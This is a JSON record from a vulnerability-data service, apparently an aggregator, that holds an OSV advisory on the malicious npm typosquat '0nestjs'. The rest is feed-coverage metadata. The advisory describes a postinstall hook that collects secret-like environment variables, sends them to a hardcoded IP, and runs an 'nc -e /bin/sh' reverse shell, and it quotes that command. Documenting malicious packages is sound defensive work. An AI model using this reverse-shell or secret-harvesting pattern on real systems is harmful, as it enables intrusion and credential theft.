{"id":"MAL-2026-15908","revision":null,"records":[{"revision":"eac6a6e95d4b42bebb05b91923505003","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-15908","aliases":[],"title":"Malicious code in 0nestjs (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3)\nPackage name 0nestjs targets developers mistyping `nestjs`. On `npm install`, the postinstall hook `node index.js` executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes `nc -e /bin/sh <host> <port>` against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.\n\n## Source: ossf-package-analysis (8e7fe3caa67347716816d33efbd052f536e41382406cf2282b2615f4bf87b797)\nThe OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","state":0,"publishedAt":"2026-09-03T23:35:53+00:00","modifiedAt":"2026-09-04T05:45:05.6807189+00:00","affected":[{"ecosystem":"npm","name":"0nestjs","ranges":[],"versions":["0.0.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/0nestjs/v/0.0.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-15908","license":"OSV · upstream source license applies","key":"osv:MAL-2026-15908","identifiers":["MAL-2026-15908"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-19T16:01:32.3378751+00:00","complete":true,"records":1786,"lastAttemptAt":"2026-11-19T16:01:32.3378751+00:00","lastSuccessAt":"2026-11-19T16:01:32.5150383+00:00","error":null,"lastVerifiedAt":"2026-11-19T16:01:32.5150392+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-e55c589538e0700b45c7d6d41fe1447a79199283262c371c864535c791a040b9-904a496cfc2893b6972fc00fe6b94b8c15ebc7e7734e22a279b080b306ca2c5a","complete":true,"records":428801,"lastAttemptAt":"2026-11-19T15:59:46.3350418+00:00","lastSuccessAt":"2026-11-19T15:59:46.1873259+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:59:46.3350418+00:00","snapshotPublishedAt":"2026-11-19T15:24:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bb8fd051256b4c2598f9bd5f7839dbf3","complete":false,"records":13861,"lastAttemptAt":"2026-11-19T16:05:49.3622719+00:00","lastSuccessAt":"2026-11-19T16:05:49.4388724+00:00","error":null,"lastVerifiedAt":"2026-11-19T16:05:49.4388724+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-19T16:01:32.3378751+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-19T16:01:32.3378751+00:00","lastSuccessAt":"2026-11-19T16:01:32.5160974+00:00","error":null,"lastVerifiedAt":"2026-11-19T16:01:32.5160976+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3d346fd985e841b1aac7f0b69a8e04b9","complete":true,"records":13873,"lastAttemptAt":"2026-11-19T16:01:33.1329967+00:00","lastSuccessAt":"2026-11-19T15:01:35.314+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:01:35.314+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13908,"expectedIdentifiers":13908,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-76574c95b6792d47ba90af64983ed5843633f14426346d676016e94a5f383202","complete":true,"records":9963,"lastAttemptAt":"2026-11-19T16:01:32.1967929+00:00","lastSuccessAt":"2026-11-19T01:24:31.4213722+00:00","error":null,"lastVerifiedAt":"2026-11-19T16:01:32.1967929+00:00","snapshotPublishedAt":"2026-11-19T01:03:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-19T15:59:46.4850134+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-19T15:59:46.4850134+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-313d8afdba3867de110bc2f0cc252c7b787cb94e08a055d09b0542017e147ca8","complete":true,"records":3194,"lastAttemptAt":"2026-11-19T16:01:32.2995638+00:00","lastSuccessAt":"2026-11-19T09:40:31.5988269+00:00","error":null,"lastVerifiedAt":"2026-11-19T16:01:32.2995638+00:00","snapshotPublishedAt":"2026-11-19T09:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c279061b33e5f41f15925204f8c9fb11104b657e25ab9e8bb013c39c52fe29cb","complete":true,"records":232765,"lastAttemptAt":"2026-11-19T16:01:32.0667728+00:00","lastSuccessAt":"2026-11-19T16:01:31.0253043+00:00","error":null,"lastVerifiedAt":"2026-11-19T16:01:32.0667728+00:00","snapshotPublishedAt":"2026-11-19T15:33:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}